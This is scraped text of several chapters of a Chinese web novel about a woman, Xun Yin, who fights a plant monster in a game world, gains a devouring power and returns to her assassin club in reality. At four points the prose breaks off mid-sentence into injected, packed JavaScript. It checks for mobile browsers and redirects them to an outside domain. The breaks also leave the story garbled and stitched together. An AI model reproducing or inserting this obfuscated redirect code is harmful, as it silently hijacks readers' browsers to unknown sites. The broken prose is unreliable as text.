但当死亡迫近的这一刻开始，她还是感到一种由衷的战栗。 不想死。 司怀摇头：“如果想要对付它，有两种方法，一种方法是在一瞬间让它吞噬大量无法转化的能量，让它被‘撑爆’；另一种方法，进入它的身体里，用物理方式击破核心。” “……第一种方法怎么可能。” 先不提她们能不能达到这么极端的能量输出，就算可以，那也需要竭尽所有人的力量，到时候绿苗自爆她们也没有能力在一瞬间离开爆炸范围。 至于第二种。 简直是送上门给遗落之骸当自助餐。 伸头一刀，缩头也是一刀。 “所以我的策略是，暂时撤退。” 司怀说道，她看向仍在同遗落之骸对战的宣鳞。 作为最大输出，司怀相信宣鳞在战斗过程中绝对是感觉最为深刻的那个，但司怀能够看出来，宣鳞的战意已经被点燃，恐怕不会愿意这么轻易离开。 司怀轻轻地叹了口气，她忽然向宣鳞喊道：“注意脚下！” 宣鳞一瞬间跳起，绿苗的根系从地面上突然冲出，直接向着宣鳞的面门冲去。 “十一！”宣鳞出声。 “来了！”武嘉莹应道，于是寻茵再度见识到在那个幻境中出现过的烈火。 火克木，尽管在能量总量上又一定差距，但绿苗仍旧因为这捧火收回攻击。 显然，武嘉莹再度入场之后，绿苗就将注意力放在了武嘉莹身上。 更加关注天敌，这是人之常情。 而绿苗的这一举动跟给了宣鳞可乘之机，趁绿苗收回根系的时刻，宣鳞将自己的能量集中在手上，那积聚着她大量能量的攻击直接落在绿苗根系上。 寻茵若有所思的目光在司怀和宣鳞间移动，该说真是一种惊人的默契吗？ 一瞬间，一种尖锐的轰鸣以绿苗为中心向四周发散，众人在一瞬间捂住耳朵，面上露出痛苦的神色。 缓过神来的一瞬间。 “走！” 司怀大喊。 宣鳞身体开始变化，眨眼间，一个Z国传统形象中的麒麟就这么水灵灵出现在众人眼前，而所有队员看起来都非常默契地爬上麒麟身体。 麒麟向司怀的方向跳了过来，顺带一爪子抓住寻茵，将她扔上自己背部。 当寻茵已经乘着宣鳞飞上天空之时，消失的系统光幕忽然出现在眼前。 【请取得A·平衡芥子的核心】 【奖励：未知】 【此任务不可拒绝】 【剩余时长00：59：36】 寻茵：“……”早不说晚不说，偏偏这个时候说？！ 她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……你们不是一路人，就算帮助他们，最后迎来的结局也只不过是背叛罢了。” “为什么说我和他们不是一路人，我身上有什么不同吗？” “你不知道？”那道声音起先式疑惑，后面变成了然：“是了……你该不知道的，如果知道，你就不会跟人类站到一起。” 寻茵没有因为对方谜语人而生出什么反应。 甚至可以说，她已经完全习惯了，如果对方真的想告诉她什么，那么第一句话就会是告知原因，而不是这种似是而非的问询、或是警告。 趁此机会，她开始观察周围的环境，思考平衡芥子的存在。 没错，就算沦落到如此境地，她仍想要拿到平衡芥子的核心。 撇开任务失败的惩罚，她说过，自己会不惜一切手段变强。 那么——这里是平衡芥子的体内吗？核心又会在哪里？ “……你想要得到平衡芥子？” 寻茵一怔，眉目冷凝。 这究竟是什么东西，能够感知到她的思想——？ “我对你没有恶意。甚至说，我很欣赏你的野心，并且很愿意帮助你变成最强大的存在。” “但是…平衡芥子暂时不能给你。” 寻茵的掌心藏着尖锐的刀刃，她警惕地观察周围，随时准备向这玩弄她的家伙给予致命一击。 显然，能够感知寻茵思想的东西很轻易就能够察觉到那层警惕。 但它并不在意……或者说，并不将其放在眼里。 这种蔑视令寻茵的心底腾升起一种莫名的焦躁，但她很快察觉到这种情绪，并收敛这种焦躁，迅速冷静下来。 “你有什么目的？” 28. 丰和村10 寻茵冷静地开口。 既然对方说平衡芥子不能给她，这也就意味着，‘它’和平衡芥子完全是两种存在。 在与特殊一队与平衡芥子的对战，场外显然还有一名未知的观众。 甚至寻茵有理由推测，这名观众，偶尔还会插手场内的规则。 现在，对寻茵而言，对方为什么关注自己并不是最重要的事情，对她而言最重要的事情就是得到平衡芥子的核心……或者，毁掉对方留下平衡芥子的理由。 可对方并没有回答：“不打算放弃吗？好吧。” ……寻茵还没习惯有人能看清自己的想法。 她闭上眼，缓缓沉下心，放弃用大脑思考那些浅显的想法。 “我不会阻拦你的，如果你真的想得到平衡芥子——各凭本事。” 几乎是瞬间，藤蔓从四面八方袭来，捆住寻茵的头、脖颈、四肢。 寻茵眸色微沉，她明白，就像对方之前旁观特殊一队的战斗一样，现在它也要旁观她的战斗。 试探性地扯了扯藤蔓，寻茵发现这东西并没有刻意束缚她。 随后她微一用力，挣脱了束缚。 与其说是对战，看起来更像是某种告诫。 藤蔓的角度非常刁钻，而寻茵没找到唯一的主体，因此只能被动防御藤蔓的攻击，局势对她非常不利。 有没有什么破局方法？ 战斗是寻茵最熟悉的事情，同样，寻找战斗目标也是。 她闭上眼睛，腿部肌肉发力，向一个方向一跃而起，触手辅助她开路，寻茵一路向前。 如果眼睛会欺骗自己，那就闭上眼睛。 耳朵除了捕捉猎猎风声，还能够捕捉到更多细碎的，如果用肉眼观察会完全忽视过去的——藤蔓挥过带起的风声和摩擦声。 她倏地睁开眼睛，一颗巨大的树出现在眼前，让寻茵感到非常眼熟——那不就是魂木吗？ 触手缠上寻茵手腕，促使寻茵刺下去的刀尖更为锋利。 果然不出意外—— 坚韧的树皮完全隔绝了她的攻击。 一击不成，寻茵立即退开，莫名感觉手腕脱力一瞬。 她眉梢微动，脑子里忽然想起了之前魂木的资料——能够吸收一切的能量为自己充能。 而平衡芥子也有这种作用……所以，实际上平衡芥子和魂木是同一种东西吗？或者说，就算不是同种东西，也一定有着极为密切的联系。 她想到司怀说的话。 “……只能依靠物理方式击破核心。” 但寻茵认为，还有一种方法。 小刺猬在宠物空间显得非常躁动不安，寻茵推测，是因为自己身上的能量被平衡芥子吸收的原因。 如果她想要战斗、需要战斗，这是完全无法避免的事情。 躲过平衡芥子戏弄一般的攻击，寻茵明白它是在消耗自己的体力。 除非…… 她能够找到平衡芥子的弱点。 树冠、树干、枝条，这些地方套着层坚硬的外壳，免遭他人攻击。 同样的——也无法吸收。 寻茵当时看见所有村民挂在枝条上变成人干，于是先入为主，认为枝条可以吸收，但实际上，有没有可能，村民流干的那些青汁，被根系深深扎根的土壤所吸收呢？ 她眼神一厉，斩断阻拦她的枝条，越是靠近根系，枝条越多，几乎到了寸步难行的地步。 明明没有风，树叶却沙沙作响，像是在嘲讽她的目的太过明确，简直是痴心妄想。 于是寻茵索性抛弃防守，任由枝条穿透她的身体，她缓慢地向前迈进，伤处渗出血液，滴在脚下的土壤，有很快消失得无影无踪。 这种近乎自残般的行为终于让寻茵靠近根系，触手圈住树干根部，近乎用力地向上拔起，只待根系露出表面的瞬间—— 她用力地挥刀，即便脑海中开始出现各种诡异的呢语。 眼前的树根变成人的腿，但寻茵并未停手，她毫不迟疑，甚至没有丝毫停顿。 直到她用力切断，但根系冒出的却并非青汁，而是鲜红的血色。 后知后觉的疼痛从身体里涌了出来。 她低下头，藤蔓穿过心脏，淌出翠绿青汁；她抬起头，透过繁盛的枝叶，一颗新鲜的心脏挂在天际，成为炽烈的太阳。 梦境再现。 寻茵感到一阵莫名的晕眩，好似天地之间骤然颠倒，让她整个人都快要呕出来。 那根扎进她心脏的藤蔓像只蚂蝗，吸取她的血液，又将青汁灌进她的身体。 然而体内那种再生的力量却并不甘示弱，被抽离的下一刻就迅速补齐缺失的，于是没有足够空间的青汁只能从伤处落在地上。 她攥住那根像血管一样鼓动的藤蔓，将它一点点拉离。 这种感觉简直像在抽出经脉骨骼，还没完全拉出，她就感觉浑身脱力。 身后的触手早在藤蔓扎进心口时就被寻茵收回后腰。 “……哈。”在剧烈地抽气中，她露出一个莫名的笑容。 这让暗处的旁观者皱紧眉头。 ……她还会有什么后手吗？ “既然这样，我就收下了。” 她的唇瓣动了动，没有话语出口。 没人看见，寻茵左手手臂上，原先半睁未睁的眼睛，在此时完全睁开。 身后的触手忽然涌起，向着天空那颗心脏刺去！ 旁观者面色一变。 “难道……！” 寻茵轻声道：“吞噬。” 就在触手扎穿那颗心脏时，鲜红的、来自寻茵身体之中的鲜红液体从那颗心脏之中涌出，于此同时，寻茵整个人也被周围涌起的藤蔓完全包裹。 就像季可赢当时一样。 藤蔓携带的尖刺更加扎进她的皮肤，疯狂地向里面注入青汁，想要将她同化。 只可惜…… “结束了。” 觉醒的这只眼睛，拥有吞噬并化为己用的能力。 在平衡芥子将她同化成污染物前，寻茵先一步吞噬掉平衡芥子的能力—— 【遵您意愿，（■■之触）新增特质{吞噬}（附加状态）。】 并且寻茵发现，这种能力可以与触手结合。 在寻茵通过各种书填满自己对于这个世界的理解时，看过这样一种理论。 核心之中的能量是一种共同的存在。为什么不同的遗落之骸会有不能的能力，不同的人会有不同的异能，这都是因为每个人身体之中的转化因子不同。 如果将能量比作一捧水，那么身体中的转化因子就有可能是能将水染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自己这一举动明显破坏了对方的计划，既然这样，对方为什么留下自己，还是说因为这也在对方的计划之中？ 想不通。 但她已经想好接下来要做的事。 在那个幻境结束前，千足对她说：“社会之家。” 她要寻茵去那找她。 这无疑与明映给她的线索对上了。 “队长，我们真的要在这里等吗……” 寻茵的脚步下意识顿住。 宣鳞的声音淡淡响起：“只要没看到尸体，我不会认为她已经死了。” “队长，”有人犹豫开口，“随队医生这个位置，是不是真的有什么诅咒啊？不然明明她跟我们在一起，还会突然掉下去……” 看起来寻茵的举动对队友造成了一点惊吓。 她想着，脚步却顿住，没再往前，而是站在一旁继续听他们说话。 在寻茵之前为什么会有这么多随队医生死亡呢，寻茵也很好奇。 明明随队医生应该是死亡率最低的角色才对。 “没有这样的事。这一切都是意外。” 现在寻茵终于听清楚了那道询问的声音，是武嘉莹：“如果说之前都是意外，那白乾又要怎么解释，她就在我面前掉了下去，总不能是她自己跳下去的吧！” 她在因为寻茵质问宣鳞？ 明明对寻茵不喜表现得最明显的就是她。现在这样难道是担心吗。 有人替她解答了这个问题，司怀道：“不用担心，她的通讯器并没有显示失去生命体征，这说明她还活着。” 29. 现实世界1 “嗨。” 寻茵笑眯眯地走出去，向众人打招呼。 说实话，她很意外宣鳞会等她。看起来她并不像表现得那样冷漠。 “你没事？”宣鳞眯着眼打量她，面露狐疑。 尽管宣鳞知道白乾没有死，但在她的设想之中缺胳膊断腿是免不了的，没想到看起来一点伤都没受…… 只是头发有些凌乱，身上衣服有些破损……不对，怎么是两个相对的洞？看起来就像被刺穿了一样。 难道说，她和那绿苗发生了战斗，还活了下来？ 命可不是一般的大…… “等你回去之后，交一份任务报告上来。” 寻茵：“……” 寻茵：“……知道了。” 看着听到任务一瞬间就像是浑身精神气被抽走的人，宣鳞的唇边掠过一丝不易察觉的微笑。 …… 【恭喜您！人偶玩家10001，任务已结算，副本登出倒计时00：03：45】 【恭喜您成功扮演角色，角色身份已更新，数据已存档！】 【扮演终止——回归中——】 寻茵睁开双眼。 熟悉的装潢立刻唤醒了寻茵的神智。 她……回到了现实。 寻茵抬起头，看向自己面前的光幕。 【排行系统已解锁！】 【注：该排行榜将通过积分进行排行！】 寻茵：“……” 她的心里有种不好的预感。 点开排行。 【您的当前排名：1。】 寻茵：“…………” 她就知道，任务奖励忽然给她1w积分绝对没好事。原本寻茵的计划是苟着慢慢发育，谁能想到平衡芥子那个任务会忽然给她1w积分？虽然占据着积分优势，但以寻茵的人偶身份，现在引起注意绝对不是好事。 除非……她可以坐实10001成为人类的身份。 寻茵注意到，排行除却积分以外，还有一个名为杀戮值的排行榜单未解锁。 也就是说，之后手上的积分多少，以及是否杀人、杀多少人都会暴露在所有玩家的注视之下。 关上排行。寻茵尝试打开宠物背包，发现小刺猬能够在现实存在。 甚至遗落之骸的核心，也可以在现实里拿出来。 她的脑海中一闪而过什么，但来不及抓住。 寻茵意识到的瞬间，触手从身后出现，圈住她的手腕撒娇。既然触手都出现了，那么毫无疑问，九瞳肯定也跟随着出现在她的胳膊上。 尽管知道九瞳出现的概率高达99.9%，寻茵仍旧不死心地查看。 看着那九只滴溜溜的眼睛，寻茵深深地叹出一口气。 游戏和现实的界限……竟然这么模糊。 不再考虑游戏的事情。 寻茵开始打量周围，房间看起来与进入游戏世界之前并没有任何区别。 但是…… 寻茵的视线掠过地面。 桌子上的手机已经因为没电陷入关机，寻茵将手机充上电，距离进入游戏的那天，今天已经是第五天。 也就是说，游戏世界与现实世界的时间流速大致是1：1。 手机的消息提示音从开机之后就没断过，就算是寻茵新换的手机，也卡了好一会。 点开消息，与朝歌的聊天页面99＋，其他消息更是数不胜数。 不过寻茵并没有点开与朝歌的聊天页面，事发突然，比起隔着屏幕交流，还是面对面交流更加方便。 想到什么，她站了起来，看向窗外。 尽管现在也是午夜，但之前那轮古怪的圆月已经消失得无影无踪。 进入游戏前的直播显然不对劲，按道理来说，网络上不会一点风声都没有。 然而当寻茵试图用手机搜索时，却没有丝毫线索，甚至连那一天的直播视频也消失了。 不难推测，在古怪的直播引起官方重视后，这一消息绝对会引起恐慌，为了遏制恐慌，官方选择了封锁消息。 但……寻茵知道，这件事情瞒不了多久。 随着进入游戏的人越来越多，身边的人忽然消失，怎么可能察觉不到古怪？ 甚至就连这一次回来的玩家，难道不会透漏吗？ 她不准备坐以待毙。 既然已经做好准备，那么她需要借助朝歌的力量。 …… 劲爆的DJ声和红绿交织的灯光勾画出一片奢靡的景象，寻茵穿过人群，向着前台的调酒师走去：“一杯玛格丽特，不加柠檬和盐霜。” 调酒师抬眼看了寻茵一眼，手上动作不停：“包厢304。” 这句话说完，一杯酒推到她面前。 寻茵端起这杯酒，冲对方眨眼，“谢了。” 随后离开，向着包厢走去。 推开包厢门，暗红的灯光铺设其中，显得颇为暧昧。 她反手锁上包厢门，一把扯掉头上的假发，和那身不适合进行战斗的繁琐衣服。 路过包厢的几案，她随手抽了张纸，抹去唇上的口红，整段动作行云流水。 随后，她走到包厢面最里的墙面上，伸手一推，黑漆漆的通道出现在眼前。 寻茵走了进去。 她眯了眯眼，忽然发现在这么黑的通道中自己都可以看清脚下的路，而在进入游戏前，她通过这段通道纯粹靠着足够熟悉。 这里的通道看似只有一条，实际上四通八达，只有一条能够真正抵达目的地，其他路上会设置各种能要人命的小玩意。 再一次避开可能通往错路的坑，微弱的光线透过闭合的门缝出现在眼前。 电子门上的音箱发出声音。 【您好，欢迎来到心想事成俱乐部。可以选择将通行证放在感应器位置，也可以选择生物信息识别方法，请注意，死亡、昏迷等生物体异常状态下的识别，不予通过。】 【代号，衔尾，欢迎您，温馨提醒，您有逾期任务记录，请尽快处理。】 寻茵看着开启的大门，从兜里掏出手机，果然上面出现了朝歌的信息。 最新一条信息是两天前，她低头，手指向上滑动消息，五天前，朝歌给她下派了一个任务记录，但寻茵一直没有回复，于是朝歌已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447919|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去她的休息场所找过她。 但显而易见，当然没找到。 进入俱乐部后，周围的环境显而易见地变得明亮起来，寻茵低着头，脚步七拐八拐，在一间训练室面前停下。 她推开门。 顿时一柄小刀直挺挺地向寻茵面门飞过来，寻茵微微偏头，小刀扎进耳边的木门。 有人趁寻茵偏头躲闪的时间袭上来，速度快到夹杂着气流的破空声响起，寻茵立即弯腰，一个刀手击打在对方的手腕上，匕首脱手跌落，寻茵用另一只手接住。 而对方也并不甘示弱，他的腿微一用力，似乎想要借此让寻茵失去平衡，夺回自己的控制权。 然而寻茵却顺从对方的意图，两人肢体交缠，从门口狭窄的角落滚回训练场上。 躲开对方匕首毫不留情的攻击，寻茵一个跃起，拉开双方的距离。 一柄小刀在她之间转了一圈，寻茵面无波澜地看向对方：“狐狸，你输了。” 他的武器被寻茵夺走，而作为一个杀手，如果不能一击必杀，落到跟击杀对象自由搏击的地步，那么这个任务就有百分之五十的概率失败，如果连武器都被对方夺走，失败的概率就成了百分百。 这个时候，需要考虑的只有保下自己的命。 那人无奈摇摇头：“还是没办法赢过你，明明学的都是一样的课程。” 匕首被寻茵掷了回去，她微微笑：“下次再趁我进门的时候攻击，我就杀了你。” 狐狸并没有将这种恐吓当作一回事，他拿过自己的毛巾，擦了擦头上的汗珠，随口道：“你才不会，不然朝歌姐会来找你的。” 寻茵顿了下：“朝歌在哪，我有事找她。” 狐狸的表情看上去有些许意外：“不是朝歌姐找到你的吗？这几天你消失得无影无踪，朝歌姐不能让这种风声透露出去，于是只有我们几个知道这件事。今天看你忽然出现了，我还以为是朝歌姐找到你了。” 见寻茵又不说话，狐狸耸耸肩：“如果你要找朝歌姐，可以去主厅看看——不出意外的话，这两天朝歌姐都在处理你这几天不在留下的烂摊子。” 寻茵转身就走，没想到狐狸忽然出声叫住她：“等等！你……好像有点不一样了。” 不一样？ 寻茵自己并没有什么特殊的感觉，但很快狐狸继续道：“如果有什么需要帮助的，别客气。” “我知道。” 寻茵没有回头，留着这么一句话，离开训练室。 顺着通道走到主厅，寻茵已经带上了面具。 心想事成俱乐部的主厅，也就是发布和接受任务的大厅。 所有价位、任务难易程度都会一目了然地投影在主厅的大屏上，发布在大屏上的任务，任何人都可以接取，完成任务后杀手和俱乐部对半分得酬金。 寻茵的名字原本就高高挂在成功率榜首位置。 她的视线从灰色标记上划过，这是暂停接单的标记，恐怕这两天朝歌为她忽然消失的事情忙得焦头烂额。 躲开人群，寻茵走到主厅后，她以重轻轻的频率反复敲了三次。 大门成功打开。 30. 现实世界2 坐在办公桌后的女人头也没抬：“给我一杯美式。” 刚想坐下的寻茵顿了顿，去咖啡机为她冲了一杯。 将美式搁在朝歌面前，她像是刚好处理完事情，抬起头，看向寻茵，露出一个危险的笑容：“你最好给我解释一下，消失的这五天去了那里。” “我刚刚解决完一个指定要你接单的任务——一个难缠的家伙，我怀疑他只是来探探你是不是还活着。” “你说，不然让狐狸查出来他的通讯地址之后，你顺便把他也给处理掉怎么样？” 静静地听朝歌发完牢骚，寻茵才开口：“我进入了异世界。” 朝歌：“……” 她摸了摸自己额头，面露怀疑：“我这也没发烧啊。怎么还能听见胡话。” 然而寻茵的表情却丝毫没有动摇，朝歌意识到寻茵所言并不是玩笑后，她忽然坐直，面色严肃：“把事情完完整整，全部说一遍。” 寻茵于是从直播开始，到她进入游戏后大致解释了一边，同时还有游戏的阵容之类的。 但有关于自己的梦境，以及游戏世界的身份，寻茵统统都没有说。 这并不是她不信任朝歌，只是现在她并不清楚游戏世界究竟有没有特殊的东西，能够通过检测谎言或记忆，来判定她的身份。 她不能冒险。 朝歌一直都没有说话，直到寻茵谈起游戏世界很可能会再度扩容，吸纳更多玩家时，她忽然用力一拍手。 “这是商机啊！” 寻茵对朝歌这种态度习以为常：“我需要有关于神选游戏降临后的资料，尤其是有没有出现大规模人群消失或昏迷之类的新闻。” 朝歌食指指节抵住下巴：“我记得这段时间好像是收到过官方限制某些信息流通的消息……具体的我会去资料库里好好查查看，等得到消息后会发给你的。” 寻茵点头：“这段时间我可以再度接单，但是不清楚能有几天时间——我认为这种事情瞒不了太久，或许下一次，所有人就会全部成为玩家。” 朝歌若有所思地点点头：“这件事我知道了，我会立即着手准备。对了，有个你之前的老顾客点名跟你线下交易。” “联系方式我已经传给你，之后记得检查账户。” 寻茵既没点头也没摇头，她问：“确认不是想拿我当下酒菜？” 听着她玩笑的语气，朝歌挑起一边的唇角：“放心吧，就算他想拿你当下酒菜，也要问问我同不同意。” “多谢老板，对了，我有一件事需要你帮忙。” 朝歌挑眉：“你说，我一定给你办到。” 寻茵：“我需要一份五天以内的行程伪造报告，除了你和狐狸以外的任何人都不能知道这件事。” 朝歌没有多问，某种程度上来说，她是很好的老板：“可以。对了，出去记得多找狐狸聊聊，你不见之后，他比我都急。” 寻茵挥挥手。 退出朝歌的办公室后，她并没有直接回家，而是依朝歌所言回到了训练室。 狐狸正在喝水，他见寻茵进来，愣了一下，将水壶拧紧，站了起来。 “你还没回去？” 寻茵笑了一下：“朝歌说让我来看看你，听说这几天我不在，你很着急。” 她脱下身上的外套：“练练？” 狐狸嘴角一抽，后退一步：“……这就不用了吧，我是担心你，不是想给自己找虐。” 寻茵向他勾了勾手指，表情散漫：“如果你不出手的话，就默认给我当沙包。” 狐狸：“……！” 他向右躲闪，但腹部仍被寻茵手中的匕首划破，出现一丝细细的血线，在皮肤上缓缓洇开。 狐狸皱着眉，不可置信地抬头：“你来真的？！” “这里没人在跟你开玩笑。” 匕首被寻茵收回掌心，狐狸为了躲避攻击，已经一蹦三丈远，而她给狐狸留下了准备时间。 如她所说，这只不过是一次练习。 狐狸咬着牙，他的眼中渐渐浮现出一缕凶光。 随即，他一把关掉训练室的灯，顿时，两个人的视野陷入一片漆黑。 如果是之前，狐狸的夜视比寻茵更好，但现在…… 她发现自己的五感有了极大提升，难道这就是游戏所说的‘改变’？ 寻茵并不准备用自己增强过的五感欺负对方，于是她闭上眼睛。 左边！ 寻茵轻松格挡对方的攻击，一拳打在狐狸腹部。听着那声闷哼，寻茵认为自己很可能‘不下心’打在了伤口上。 除了这声闷哼，狐狸迅速控制好自己的反应，没有露出任何漏洞。 但寻茵总能找到他，直到又一次被刀架在脖子上，狐狸终于摆烂。 他直挺挺的躺在地上，喘着粗气：“不，我真的不行了。” “起来。”寻茵踢他一脚，“你变弱了。” 狐狸猛地跃起，他指着自己，语气中饱含不可置信：“我变弱？你不见的这几天我一直在加练，你说我变差？？” 他将腹部的一会卷起来，指着青紫的皮肤怒极反笑：“明明是你忽然变太强了好吗？我真怀疑你是不是偷吃了能让自己变大力的菠菜，刚才一拳差点把我胃打出来！” 变强……？ 狐狸的实力她很清楚，就算比不上她，也不会像现在打起来一样，让人感觉轻松得随便动一动手就能捏死。 也就是说，并不是狐狸变弱，而是她突然变强了。难道这件事……与游戏有关？ 忽然变强这件事暂时不提。寻茵看向他：“你知道这几天我的身份谁在替吗？” “我没见过，”狐狸摇头，又道，“但总归跟是情报收集之中的一个。” “知道这个就够了。”寻茵说道。 她转过身，向狐狸招了招手：“你还是继续努力吧。” 狐狸：“……” 从狐狸那出来之后，寻茵找到了‘鼠’的主要负责人。 鼠，俱乐部中情报收集人员的总称，这种只在没有人的时候才会出没的生物但又无处不在的生物实在很符合这个代号。 鼠之间互相不认识，就连情报之间也不完全互通，主要交给负责人进行整合，再由负责人向上提交情报。 这种繁琐的递进方式在一定程度上阻止了情报泄漏的可能性。 “你回来了？” 鼠的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一条街寻茵有所耳闻，城市中心的一条古街，据说原本应该拆迁，但不知道出于什么目的最终保留了下来。 这地方是真的寸土寸金。 狸猫的双眼也微微眯起，这意味着这个地址也出乎她的意料。 “你想说什么？”电话挂断，寻茵看向狸猫。 狸猫耸了耸肩：“不是我想说什么，你不觉得这个地方很奇怪吗？官方什么时候那么有钱了？” 于此同时，她将这段时间‘寻茵’的行程交给她。 “你可别露馅了。” 寻茵垂眸扫了眼上面的记录，将里面的东西记在心上。 才抬眼看了看狸猫：“那也不是我的问题。” 狸猫眯眼：“你说这话真够讨厌的。” 不过很快她就笑了笑：“就算是我出问题，露馅恐怕对你的影响更大吧。” 寻茵还想说什么，但很快，手机发出‘叮’的声音，正是之前打过来的号码，用短信再度强调了地点和时间。 底下还有特别备注：夜晚不要一个人去酒吧。 寻茵：…… 她眯起双眼。